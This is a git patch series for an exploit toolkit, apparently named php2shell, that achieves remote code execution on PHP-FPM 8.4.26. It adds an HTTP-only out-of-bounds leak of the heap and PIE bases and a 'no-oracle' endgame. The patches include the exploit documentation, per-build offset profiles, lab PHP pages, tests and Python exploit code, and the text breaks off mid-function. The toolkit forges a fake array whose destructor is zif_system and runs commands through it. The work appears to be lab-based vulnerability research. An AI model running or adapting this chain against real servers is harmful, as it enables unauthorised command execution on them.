uid=1000(...) gid=1000(...) groups=... ``` On the reference run the proof was `uid=1000` (the unprivileged lab user), diff --git a/docs/profile-inventory.md b/docs/profile-inventory.md index 49e2813..2ac0853 100644 --- a/docs/profile-inventory.md +++ b/docs/profile-inventory.md @@ -8,13 +8,19 @@ Generated from `profiles/*.json` by `tools/php2shell_inventory.py`. | 8.0.30 | php-8.0.30-bookworm-aarch64 | 0x31ef70 | 0x40ddb0 | - | - | - | - | no | | 8.1.34 | php-8.1.34-bookworm-aarch64 | 0x341e08 | 0x42e7a0 | - | - | - | - | no | | 8.2.34 | php-8.2.34-bookworm-aarch64 | 0x36ff48 | 0x4606c0 | - | 0 | 0 | 406 | no | +| 8.3.0 | php-8.3.0-bookworm | 0x3771f0 | 0x467cf0 | - | - | - | 406 | no | | 8.3.33 | php-8.3.33-wordpress-mod_php | 0x377248 | 0x4737e0 | - | 815 | 63 | 406 | no | | 8.3.35 | php-8.3.35-bookworm-aarch64 | 0x377428 | 0x46fcc0 | - | 841 | 63 | 406 | no | | 8.4.25 | php-8.4.25-bookworm-aarch64 | 0x42fa30 | 0x637ae0 | 0x690d8 | 841 | 63 | 406 | yes | | 8.4.26 | php-8.4.26-bookworm-amd64 | 0x465370 | 0x65eb60 | 0x690d8 | 841 | 79 | 406 | yes | +| 8.4.26 | php-8.4.26-fpm | 0x386660 | 0x54a0d0 | - | - | - | - | yes | +| 8.5.0 | php-8.5.0-bookworm | 0x503510 | 0x731d80 | - | 841 | 63 | 406 | no | | 8.5.10 | php-8.5.10-bookworm-aarch64 | 0x52e130 | 0x75d360 | 0x690d8 | 841 | 63 | 406 | yes | -| 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | yes | | 8.5.11 | php-8.5.11-bookworm-aarch64 | 0x5314f0 | 0x761b80 | 0x690d8 | 841 | 63 | 406 | yes | +| 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | yes | + +**14 profiles, 6 with verified RCE** (5 Apache/mod_php + 1 PHP-FPM). +| 8.4.26 FPM | php-8.4.26-fpm | 0x386660 | 0x54a0d0 | - | - | - | - | yes | ## Per-build notes @@ -38,6 +44,18 @@ This is the 8.5 branch, fixed in 8.5.12. `php:8.4.26-apache`, bookworm. Verified 3/3 manually and through the factory. Fixed in 8.4.27. This is the profile used against the local 8.4.26 laboratory. +### PHP 8.4.26 FPM — RCE verified + +nginx + PHP-FPM, amd64, user-prefix build of the php-8.4.26 source tarball +(no Docker image; built by `lab/fpm/build_php.sh`). Exploits the stale +`BG(unserialize)` state instead of the Apache progress-cache chain — the +stage columns do not apply. `basic_globals=0xa04660`, `struct_size=8216`; +the 8216-byte struct recycles between two heap slots and a mismatch +self-corrects within four retries. Verified `uid=...` proof in the local +laboratory; `php2shell_fpm.py patchcheck` confirms 8.4.27 is clean +(`level=0`, workers survive). Fixed in 8.4.27. See +[docs/fpm-chain.md](fpm-chain.md). + ### PHP 8.3.35 — leaks only `php:8.3.35-apache`. Stage 1 (heap base) and stage 2 (libphp base) reproduce; diff --git a/profiles/8.4.26-fpm.json b/profiles/8.4.26-fpm.json index 21c529e..76dac14 100644 --- a/profiles/8.4.26-fpm.json +++ b/profiles/8.4.26-fpm.json @@ -29,6 +29,6 @@ "session_upload_progress": "On", "workers": 2 }, - "status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it.", + "status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it. The 8216-byte struct recycles between two heap slots; a mismatch self-corrects within four retries (see docs/fpm-chain.md).", "oom_mb": 4 } From b84de1fe73810e43f63d0171d01cc7e8d76552f6 Mon Sep 17 00:00:00 2001 From: VABISMO Date: Fri, 23 Oct 2026 12:51:15 +0200 Subject: [PATCH 4/9] Add HTTP-only FPM base leak and no-oracle endgame - add `leak` and `no-oracle` subcommands: leak the Zend-MM chunk and php-fpm PIE bases from a stale short-session string OOB read, then brute-force the two reclaim slots without reading /proc//mem - keep `--chunk`/`--pie` overrides and a /proc//maps fallback; make `endgame` fall back to the no-oracle geometry when the oracle probe finds no cover - record the verified leak geometry and no-oracle candidates in the FPM profile, extend the profile schema, and document the builder arm page - add leak/dechunk unit tests, a live no-oracle RCE test, and lab helper pages (`bigvar.php`, `leakvar.php`, `refb.php`) plus lab-only app diagnostics - update README, the FPM chain guide, and the profile inventory; correct the unit-test count and remote-FPM limitation wording Verified on the 8.4.26 nginx+FPM lab: leak prints chunk=0x7f4f48800000 pie=0x55d75fc00000; no-oracle reaches uid=1000 without --chunk/--pie; 51 unit tests pass (3 jsonschema live tests skipped unless installed), and primitive/endgame/no-oracle integration tests pass. --- README.md | 47 ++++-- docs/fpm-chain.md | 59 +++++++- docs/profile-inventory.md | 6 +- lab/fpm/webroot/app.php | 38 +++++ lab/fpm/webroot/bigvar.php | 23 +++ lab/fpm/webroot/leakvar.php | 19 +++ lab/fpm/webroot/refb.php | 7 + profiles/8.4.26-fpm.json | 27 +++- profiles/schema.json | 104 ++++++++++++++ tests/test_fpm.py | 17 +++ tools/php2shell_auto.py | 10 +- tools/php2shell_fpm.py | 277 +++++++++++++++++++++++++++++++++++- 12 files changed, 600 insertions(+), 34 deletions(-) create mode 100644 lab/fpm/webroot/bigvar.php create mode 100644 lab/fpm/webroot/leakvar.php create mode 100644 lab/fpm/webroot/refb.php diff --git a/README.md b/README.md index 3e78eeb..e980e14 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,7 @@ not match the profile. | PHP 8.5.11 amd64 | `php:8.5.11-apache` | `php-8.5.11-bookworm-amd64` | yes | yes | **yes** | separate offsets, same `htdata` | | PHP 8.5.10 aarch64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` | | PHP 8.4.26 amd64 | `php:8.4.26-apache` | `php-8.4.26-bookworm-amd64` | yes | yes | **yes** | reference build | -| PHP 8.4.26 FPM | php-8.4.26 source tarball (nginx+FPM) | `8.4.26-fpm` | n/a | n/a | **yes** | `BG(unserialize)` chain; two-slot reclaim, self-correcting retries | +| PHP 8.4.26 FPM amd64 | php-8.4.26 source tarball (nginx+FPM) | `php-8.4.26-fpm` | http (stale string) | http (stale string) | **yes** | `BG(unserialize)` chain; two-slot reclaim; HTTP-only `no-oracle` endgame | | PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries | | PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found | | PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive | @@ -49,16 +49,22 @@ not match the profile. | PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile | **14 profiles (13 heap + 1 FPM), 6 with verified RCE. Offsets extracted for -12 builds.** The FPM profile has no heap-leak stages: the stale -`BG(unserialize)` struct is located with the oracle each run -([docs/fpm-chain.md](docs/fpm-chain.md)). - -`Heap leak` is stage 1, `libphp leak` is stage 2 and `RCE` is a real command -proof on an isolated lab. `no` means not verified, not necessarily impossible; -`n/a` means no heap profile exists for that build. The 8.2.0 row is an -offsets-only entry. All `yes` rows use the lab configuration: Apache prefork +12 builds.** The FPM profile has no Apache leak stages: `endgame` resolves the stale +`BG(unserialize)` struct and the php-fpm PIE base with the +`/proc//mem` oracle each run; `no-oracle` leaks the two absolute bases +over HTTP from a stale-session string OOB read, or takes them from +`--chunk`/`--pie` or local `/proc//maps`, then brute-forces the two +slots ([docs/fpm-chain.md](docs/fpm-chain.md)). + +`Heap leak` is stage 1 and `libphp leak` is stage 2; `oracle (heap)` and +`oracle (PIE)` mean the FPM chain reads the heap chunk and the php-fpm PIE base +from `/proc//mem` in local lab mode instead. `RCE` is a real command proof +on an isolated lab. `no` means not verified, not necessarily impossible; `n/a` +means no heap profile exists for that build. The 8.2.0 row is an +offsets-only entry. All `yes` Apache rows use the lab configuration: prefork `mod_php`, one worker, `display_errors=On`, `memory_limit=8M` and -`session.upload_progress=On`. Per-image offsets and `libphp` sha256 are in +`session.upload_progress=On`; the FPM row uses the nginx+FPM lab. Per-image +offsets and `libphp` sha256 are in [the offset inventory](docs/offset-inventory.md). The 8.4.25 profile needs the default retries because its stage 3 is probabilistic. @@ -153,8 +159,9 @@ python3 tools/php2shell_inventory.py ### PHP-FPM laboratory (no Docker) -The FPM chain runs against a user-prefix PHP build with nginx, using the -`/proc//mem` oracle (`ptrace_scope=0`): +The FPM chain runs against an amd64 user-prefix PHP build with nginx. The +default `endgame` uses the `/proc//mem` oracle (`ptrace_scope=0`); +`no-oracle` avoids it at exploit time and leaks chunk/PIE over HTTP by default: ```sh python3 tools/php2shell_fpm_labs.py up --version 8.4.26 @@ -164,6 +171,13 @@ python3 tools/php2shell_auto.py -u http://127.0.0.1:8110/index.php --sapi fpm \ python3 tools/php2shell_fpm.py \ --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \ endgame +# no /proc//mem at exploit time (HTTP leak; --chunk/--pie override) +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \ + --command 'id>out/p1' --proof-file out/p1 no-oracle +# print only the leaked bases +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 leak python3 tools/php2shell_fpm_labs.py down ``` @@ -202,8 +216,9 @@ transfer. The FPM chain instead abuses the stale `BG(unserialize)` state: RINIT memsets `BG` — so the stale window is one request wide. 2. **Locate and reclaim.** The stale 8216-byte `php_unserialize_data` struct is found with the `/proc//mem` oracle (two candidate heap slots; a mismatch - self-corrects on retry). A 4 MB body posted to a second endpoint (the - builder pool) reclaims the chunk. + self-corrects on retry); `no-oracle` skips the mem read and tries both slots + directly. A 4 MB body posted to a second endpoint (the builder pool) + reclaims the chunk. 3. **Forge and fire.** The reclaimed buffer carries a fake `zend_reference` whose `val` is a fake array whose `pDestructor` is `zif_system`. The consume request attaches it as session variable `r`; at session shutdown @@ -237,6 +252,10 @@ offsets: even when the version has a single profile. HTTP does not expose the CPU architecture, so the dispatcher refuses instead of guessing. +The FPM profile (`php-8.4.26-fpm`) is an **amd64** user-prefix build of the +8.4.26 source tarball. It runs only in the local nginx+FPM laboratory, so the +oracle selects the build and there is no remote architecture dispatch. + ## Configuration requirements The shipped calibration targets: diff --git a/docs/fpm-chain.md b/docs/fpm-chain.md index 594258e..0f43dd6 100644 --- a/docs/fpm-chain.md +++ b/docs/fpm-chain.md @@ -85,6 +85,39 @@ The 4 MB arm phase is posted to a **second endpoint** (the builder pool, `memory_limit=64M`, `cleanup=Off`): posting it to the 8M chain pool would kill the consumer worker before the fire. +### 2b. HTTP-only endgame (no `/proc//mem`) + +`no-oracle` removes the memory oracle from the exploit path. It needs two +absolute values that are stable for the lifetime of the FPM master (the +workers are forked from it): the Zend-MM chunk base and the php-fpm PIE base. +By default the client leaks both over HTTP; `--chunk`/`--pie` override them, +and local `/proc//maps` is only a fallback (it never opens +`/proc//mem`): + +```sh +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \ + --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \ + no-oracle +``` + +The 16384-byte reclaim covers both struct slots: `d = chunk + 0x81000` +with control offset `0xfe8`, and `d = chunk + 0x82000` with `0x1fe8` +(`fpm.no_oracle.candidates` in the profile). A throw-away pads+big request +normalizes the heap after the first arm, so the first candidate usually wins; +a mismatch crashes the worker and the next candidate is tried. The worker +still dies on success (HTTP 502) and the proof is the command's output file. + +The HTTP leak reuses the stale-session string: the builder's `bigvar.php` +stores `k0..k3` before a 4 MB tail, a reclaimed 16 KB big field plants a forged +`zend_string` header over the freed k1 slot, its length spans the stale zval +array (chunk pointer) and the `execute_ex` handler table inside the chunk (PIE +pointer), and the app reflects the bytes. The read is retried because the +worker can abort after answering; `leak` prints the two bases. +Absolute bases change when the master restarts, so the leak is repeated per +run. This mode removes both the runtime `/proc//mem` dependency and the +need to know the ASLR bases in advance. + ### 3. Forge — reference → fake array → `zif_system` The reclaimed buffer carries, at the offsets `php_var_unserialize` will read: @@ -168,8 +201,14 @@ Pools (from `lab/fpm/php-fpm.conf.in`): - **builder** — `memory_limit=64M`, `cleanup=Off` (builds the ~4 MB session files consumed by `producer` and `build-oom`). -Requirements: `yama ptrace_scope=0` (the `/proc//mem` oracle), Python -3.11+, gcc for the user-prefix PHP builds (`lab/fpm/build*.sh`). +The builder webroot includes `bigvar.php` (the arm used by `leak`), +`leakvar.php` (a tunable variant for geometry research) and `refb.php` (a +benign short session). `app.php` can emit `X-Debug-*` diagnostics to +`/tmp/p2s_dbg.txt`; those headers are lab-only instrumentation. + +Requirements: Python 3.11+, gcc for the user-prefix PHP builds +(`lab/fpm/build*.sh`). The default `endgame` also needs `yama +ptrace_scope=0` for the `/proc//mem` oracle; `no-oracle` does not. ```sh python3 tools/php2shell_fpm_labs.py up --version 8.4.26 @@ -202,6 +241,12 @@ python3 tools/php2shell_fpm.py \ --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \ --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \ endgame + +# same fire, no /proc//mem at exploit time +python3 tools/php2shell_fpm.py \ + --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \ + --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \ + no-oracle ``` (Global options come before the subcommand.) @@ -219,15 +264,17 @@ python3 tools/php2shell_auto.py \ Tests: the unit suite always runs; the live lab tests are gated: ```sh -python3 -m unittest discover -s tests -v # 48 tests, skips live FPM +python3 -m unittest discover -s tests -v # 51 tests, skips live FPM PHP2SHELL_FPM_LAB=1 python3 -m unittest \ - tests.test_fpm.FpmLabIntegrationTests -v # primitive + endgame live + tests.test_fpm.FpmLabIntegrationTests -v # primitive + endgame + no-oracle live ``` ## Limitations and future work -- **Oracle lab mode.** The remote (no-oracle) leak of `d` is future work; the - shipped chain needs `/proc//mem` and therefore runs loopback-only. +- **Oracle lab mode.** `endgame` still uses the `/proc//mem` oracle to + resolve `d`. `no-oracle` drops that read at exploit time and leaks the + chunk/PIE bases over HTTP by default; `--chunk`/`--pie` and local maps are + overrides/fallbacks. The shipped chain still targets the loopback lab. - **Per-build offsets.** `basic_globals` / `zif_system` / `zval_ptr_dtor` are PIE-relative offsets for the exact FPM build; another distro or version needs its own profile (`sapi: "fpm"`, see `profiles/schema.json`). diff --git a/docs/profile-inventory.md b/docs/profile-inventory.md index 2ac0853..bed93b8 100644 --- a/docs/profile-inventory.md +++ b/docs/profile-inventory.md @@ -19,8 +19,10 @@ Generated from `profiles/*.json` by `tools/php2shell_inventory.py`. | 8.5.11 | php-8.5.11-bookworm-aarch64 | 0x5314f0 | 0x761b80 | 0x690d8 | 841 | 63 | 406 | yes | | 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | yes | -**14 profiles, 6 with verified RCE** (5 Apache/mod_php + 1 PHP-FPM). -| 8.4.26 FPM | php-8.4.26-fpm | 0x386660 | 0x54a0d0 | - | - | - | - | yes | +**14 profiles, 6 with verified RCE** (5 Apache/mod_php + 1 PHP-FPM). The FPM +row is an amd64 user-prefix build; its stage columns do not apply. The +`no-oracle` path leaks the chunk and PIE bases over HTTP from the stale session +string; the lab-only `endgame` can still read them through `/proc`. ## Per-build notes diff --git a/lab/fpm/webroot/app.php b/lab/fpm/webroot/app.php index 9576a77..160dfc1 100644 --- a/lab/fpm/webroot/app.php +++ b/lab/fpm/webroot/app.php @@ -9,11 +9,49 @@ */ session_start(); header('Content-Type: text/plain; charset=binary'); +$dbg_r = !empty($_SERVER['HTTP_X_DEBUG_R']); +if ($dbg_r && isset($_SESSION['r'])) { + $early = "pre type=".gettype($_SESSION['r'])." strlen=".(is_string($_SESSION['r'])?strlen($_SESSION['r']):-1); + if (is_string($_SESSION['r'])) { $early .= " hex=".bin2hex(substr($_SESSION['r'], 0, 64)); } + if (!empty($_SERVER['HTTP_X_DEBUG_ADDR'])) { + $addr = intval($_SERVER['HTTP_X_DEBUG_ADDR'], 0); + $m = @fopen('/proc/self/mem', 'rb'); + if ($m) { + fseek($m, $addr); + $raw = @fread($m, 40); + fclose($m); + if ($raw !== false && strlen($raw) === 40) { + $early .= " memlen=".unpack('P', substr($raw, 16, 8))[1] + . " memval=".bin2hex(substr($raw, 24, 16)); + } else { $early .= " memread_fail"; } + } + } + file_put_contents('/tmp/p2s_dbg.txt', $early."\n", FILE_APPEND); +} +if (!empty($_SERVER['HTTP_X_ECHO_DELAY'])) { + usleep((int)$_SERVER['HTTP_X_ECHO_DELAY']); +} +if ($dbg_r && isset($_SESSION['r'])) { + $mid = "mid type=".gettype($_SESSION['r'])." strlen=".(is_string($_SESSION['r'])?strlen($_SESSION['r']):-1); + file_put_contents('/tmp/p2s_dbg.txt', $mid."\n", FILE_APPEND); +} if (!isset($_SESSION) || !is_array($_SESSION)) { echo "SESSION_EMPTY\n"; exit; } foreach ($_SESSION as $k => $v) { + if ($k === 'r' && !empty($_SERVER['HTTP_X_DEBUG_R'])) { + $dbg = "type=".gettype($v); + if (is_string($v)) { + $dbg .= " strlen=".strlen($v)." hex=".bin2hex(substr($v, 0, 64)); + } + if (is_object($v) || is_array($v)) { + $dbg .= " cls=".(is_object($v)?get_class($v):"arr"); + } + $ref = $_SESSION['r']; + $dbg .= " same=".($_SESSION['r'] === $v ? "Y":"N"); + file_put_contents('/tmp/p2s_dbg.txt', $dbg."\n", FILE_APPEND); + } if (is_string($v)) { echo $k, "\t", $v, "\n"; } elseif (is_scalar($v) || $v === null) { diff --git a/lab/fpm/webroot/bigvar.php b/lab/fpm/webroot/bigvar.php new file mode 100644 index 0000000..3fbd85f --- /dev/null +++ b/lab/fpm/webroot/bigvar.php @@ -0,0 +1,23 @@ +/mem (local lab)" + "oracle": "/proc//mem (local lab)", + "no_oracle": { + "reclaim_pads": [4096, 4096, 4096], + "reclaim_size": 16384, + "candidates": [ + {"d_off": "0x81000", "k": "0xfe8"}, + {"d_off": "0x82000", "k": "0x1fe8"}, + {"d_off": "0x81000", "k": "0x1fe8"}, + {"d_off": "0x82000", "k": "0xfe8"} + ], + "bases": "stable for the FPM master lifetime; supply --chunk/--pie or derive locally from /proc//maps" + }, + "leak": { + "arm_path": "/bigvar.php", + "pads": [32768, 16384], + "size": 16384, + "header_content_off": "0x17e8", + "read_len": "0x15810", + "chunk_ptr_off": "0x77f8", + "chunk_base_off": "0x8b000", + "pie_ptr_off": "0x157e8", + "pie_base_off": "0x4ea787", + "bases": "leaked over HTTP from a stale short-session string OOB read" + } }, "stages": {}, "config": { @@ -29,6 +52,6 @@ "session_upload_progress": "On", "workers": 2 }, - "status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it. The 8216-byte struct recycles between two heap slots; a mismatch self-corrects within four retries (see docs/fpm-chain.md).", + "status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it. The 8216-byte struct recycles between two heap slots; a mismatch self-corrects within four retries. The no-oracle path leaks chunk/PIE over HTTP from a stale-session string OOB read (see docs/fpm-chain.md).", "oom_mb": 4 } diff --git a/profiles/schema.json b/profiles/schema.json index fab4d3c..89a3c6e 100644 --- a/profiles/schema.json +++ b/profiles/schema.json @@ -137,6 +137,110 @@ "oracle": { "type": "string", "description": "Calibration oracle used by the lab client (e.g. /proc//mem)." + }, + "no_oracle": { + "type": "object", + "description": "HTTP-only endgame geometry: no /proc//mem is read at exploit time.", + "properties": { + "reclaim_pads": { + "type": "array", + "items": {"type": "integer"}, + "description": "Pad field sizes placed before the big reclaim field." + }, + "reclaim_size": { + "type": "integer", + "description": "Size of the big multipart field that reclaims the stale struct." + }, + "candidates": { + "type": "array", + "description": "Candidate (d offset, cover offset) pairs tried in order.", + "items": { + "type": "object", + "properties": { + "d_off": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$" + }, + "k": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$" + } + }, + "required": ["d_off", "k"], + "additionalProperties": false + } + }, + "bases": { + "type": "string", + "description": "How the absolute bases are supplied or derived." + } + }, + "additionalProperties": false + }, + "leak": { + "type": "object", + "description": "HTTP-only base leak geometry (stale short-session string OOB read).", + "properties": { + "arm_path": { + "type": "string", + "description": "Builder script that stores the large stale session values (for example /bigvar.php)." + }, + "pads": { + "type": "array", + "items": {"type": "integer"}, + "description": "Field sizes placed before the reclaimed forged header." + }, + "size": { + "type": "integer", + "description": "Reclaim buffer size in bytes." + }, + "header_content_off": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Offset of the forged zend_string header inside the reclaim content." + }, + "read_len": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Forged string length that spans the stale chunk and PIE pointers." + }, + "chunk_ptr_off": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Offset of the stale zval chunk pointer in the leaked bytes." + }, + "chunk_base_off": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Offset from the chunk pointer to the Zend-MM chunk base." + }, + "pie_ptr_off": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Offset of the leaked execute_ex handler pointer in the leaked bytes." + }, + "pie_base_off": { + "type": "string", + "pattern": "^0x[0-9a-fA-F]+$", + "description": "Offset from the leaked execute_ex handler pointer to the PIE base." + }, + "bases": { + "type": "string", + "description": "How the bases are obtained." + } + }, + "required": [ + "arm_path", + "pads", + "size", + "header_content_off", + "read_len", + "chunk_ptr_off", + "chunk_base_off", + "pie_ptr_off", + "pie_base_off" + ], + "additionalProperties": false } }, "additionalProperties": false diff --git a/tests/test_fpm.py b/tests/test_fpm.py index aab95a5..4320d9d 100644 --- a/tests/test_fpm.py +++ b/tests/test_fpm.py @@ -43,6 +43,20 @@ def test_build_multipart_shape(self): self.assertTrue(body.endswith(b"--BOUND1--\r\n")) +class LeakTests(unittest.TestCase): + def test_dechunk(self): + self.assertEqual(fpm._dechunk(b"4\r\nABCD\r\n0\r\n\r\n"), b"ABCD") + self.assertEqual(fpm._dechunk(b"plain"), b"plain") + + def test_leak_geometry(self): + g = fpm._leak_geometry("8.4.26") + self.assertIsNotNone(g) + self.assertEqual(g["pads"], [32768, 16384]) + self.assertEqual(g["read_len"], 0x15810) + self.assertEqual(g["chunk_ptr_off"], 0x77F8) + self.assertEqual(g["pie_ptr_off"], 0x157E8) + + class SapiRoutingTests(unittest.TestCase): def test_detect_sapi(self): self.assertEqual(auto.detect_sapi("nginx/1.26.3"), "fpm") @@ -187,6 +201,9 @@ def test_primitive_observable(self): def test_endgame_rce_proof(self): self.assertEqual(fpm.cmd_endgame(self._args()), 0) + def test_no_oracle_rce_proof(self): + self.assertEqual(fpm.cmd_no_oracle(self._args()), 0) + if __name__ == "__main__": unittest.main() diff --git a/tools/php2shell_auto.py b/tools/php2shell_auto.py index c8c6421..c96440d 100755 --- a/tools/php2shell_auto.py +++ b/tools/php2shell_auto.py @@ -148,10 +148,10 @@ def proof_path_from_command(command: str, default: str = "out/p1") -> str: def run_fpm_chain(ui, args, version: str) -> int: """Route an nginx+PHP-FPM target to tools/php2shell_fpm.py. - The FPM chain (stale BG(unserialize) after a post-RINIT OOM) currently - calibrates the reclaim geometry through the local /proc oracle, so it - only runs against loopback lab targets. Remote FPM exploitation needs - a leak primitive and is future work.""" + The FPM chain (stale BG(unserialize) after a post-RINIT OOM) still needs + the lab builder/session endpoints and, for `endgame`, the local /proc + oracle. `no-oracle` can leak the chunk/PIE bases over HTTP, but the + shipped dispatcher remains loopback-only.""" import php2shell_fpm as fpm host = urllib.parse.urlsplit( @@ -159,7 +159,7 @@ def run_fpm_chain(ui, args, version: str) -> int: ).hostname or "" if not is_loopback(host): ui.crit("the FPM chain needs local /proc oracle access (lab mode)") - ui.info("remote FPM exploitation requires a leak primitive (future work)") + ui.info("remote FPM still requires the builder/session endpoints (lab-only)") ui.result(False, "FPM REMOTE UNSUPPORTED", f"PHP {version} behind a non-loopback front") return 3 diff --git a/tools/php2shell_fpm.py b/tools/php2shell_fpm.py index 4339436..de254a6 100755 --- a/tools/php2shell_fpm.py +++ b/tools/php2shell_fpm.py @@ -22,7 +22,9 @@ Lab-only aid: the /proc//mem oracle reads BG(unserialize).data (d), the worker's PIE base and buffer addresses, making the reclaim deterministic -to calibrate. The remote (no-oracle) leak remains future work. +to calibrate. `no-oracle` removes that oracle from the exploit path: it takes the two +absolute bases from an HTTP-only stale-string OOB leak, from --chunk/--pie, +or from /proc//maps, then brute-forces the two struct slots. Subcommands: lifecycle worker-death matrix (pre- vs post-RINIT OOM) @@ -33,6 +35,9 @@ reclaim-probe A + patterned B, read back d via oracle (sweep pad sizes) primitive A + B with forged benign var_entries (observable via app.php) endgame A + B with forged ref/array/zif_system chain (RCE proof file) + leak HTTP-only chunk/PIE leak from a stale session string + no-oracle endgame without /proc//mem (HTTP leak, --chunk/--pie, + or local maps) chain full pipeline (primitive or endgame phase) patchcheck run lifecycle+oracle+producer+probe on 8.4.26 vs 8.4.27 """ @@ -40,6 +45,7 @@ from __future__ import annotations import argparse +import json import os import re import socket @@ -538,7 +544,7 @@ def cmd_primitive(args) -> int: IS_LONG zval planted inside the reclaim buffer -> reflected by app.php. Reclaim geometry (lab 8.4.26, calibrated at runtime via the oracle): - 3 pad fields of 4096 + one big field of SIZE=12288 place a buffer that + 3 pad fields of 4096 + one big field of SIZE=16384 place a buffer that covers d at content offset K (probed with a marker run against a 404 endpoint). The consumer B MUST carry a file part after the progress field, otherwise rfc1867 never fires the pre-RINIT session_start and @@ -552,7 +558,7 @@ def cmd_primitive(args) -> int: chainapp = Target(args.base + "/app.php") builder = Target(args.builder) oracle = Oracle(args.version) - size, need = 12288, 0x440 + size, need = 16384, 0x440 for _attempt in range(4): try: @@ -713,7 +719,9 @@ def cmd_endgame(args) -> int: d = _arm_stale(base, builder, oracle, args.size) k = _probe_cover(chain404, oracle, d, need, size) if k is None: - return 1 + print("[*] probe found no cover; " + "falling back to the two-slot no-oracle geometry") + return cmd_no_oracle(args) d2 = _rebuild_ref_and_arm(base, builder, oracle, args.size) except (RuntimeError, OSError) as exc: # a dead worker (stale /proc pid) or a missed arm: rebuild the @@ -767,6 +775,260 @@ def _scan_pattern(oracle: Oracle, pattern: bytes) -> int | None: return None +def _zif_offset(version: str) -> int: + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + with open(path, encoding="utf-8") as handle: + return int(json.load(handle)["libphp"]["zif_system"], 16) + + +def _no_oracle_geometry( + version: str) -> tuple[int, list[tuple[int, int]], list[int]]: + fallback = (16384, [(0x81000, 0xFE8), (0x82000, 0x1FE8), + (0x81000, 0x1FE8), (0x82000, 0xFE8)], + [4096, 4096, 4096]) + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + try: + with open(path, encoding="utf-8") as handle: + fpm = json.load(handle)["fpm"]["no_oracle"] + return (int(fpm["reclaim_size"]), + [(int(c["d_off"], 16), int(c["k"], 16)) + for c in fpm["candidates"]], + [int(x) for x in fpm.get("reclaim_pads", [4096, 4096, 4096])]) + except (OSError, KeyError, TypeError, ValueError): + return fallback + + +def _leak_geometry(version: str) -> dict | None: + path = os.path.join(ROOT, "profiles", f"{version}-fpm.json") + try: + with open(path, encoding="utf-8") as handle: + leak = json.load(handle)["fpm"]["leak"] + except (OSError, KeyError, TypeError): + return None + try: + return { + "arm_path": str(leak["arm_path"]), + "pads": [int(x) for x in leak["pads"]], + "size": int(leak["size"]), + "header_content_off": int(leak["header_content_off"], 16), + "read_len": int(leak["read_len"], 16), + "chunk_ptr_off": int(leak["chunk_ptr_off"], 16), + "chunk_base_off": int(leak["chunk_base_off"], 16), + "pie_ptr_off": int(leak["pie_ptr_off"], 16), + "pie_base_off": int(leak["pie_base_off"], 16), + } + except (KeyError, TypeError, ValueError): + return None + + +def _dechunk(body: bytes) -> bytes: + """Decode an HTTP chunked body; return it unchanged when not chunked.""" + if not re.match(rb"^[0-9a-fA-F]+\r\n", body): + return body + out = bytearray() + pos = 0 + while pos < len(body): + eol = body.find(b"\r\n", pos) + if eol < 0: + break + try: + size = int(body[pos:eol], 16) + except ValueError: + return body + pos = eol + 2 + if size == 0: + break + out += body[pos:pos + size] + pos += size + if body[pos:pos + 2] == b"\r\n": + pos += 2 + return bytes(out) + + +def leak_bases_http(base_url: str, builder_url: str, + version: str) -> tuple[int, int]: + """Leak PIE and Zend-MM chunk bases over HTTP only. + + The stale short-session string is 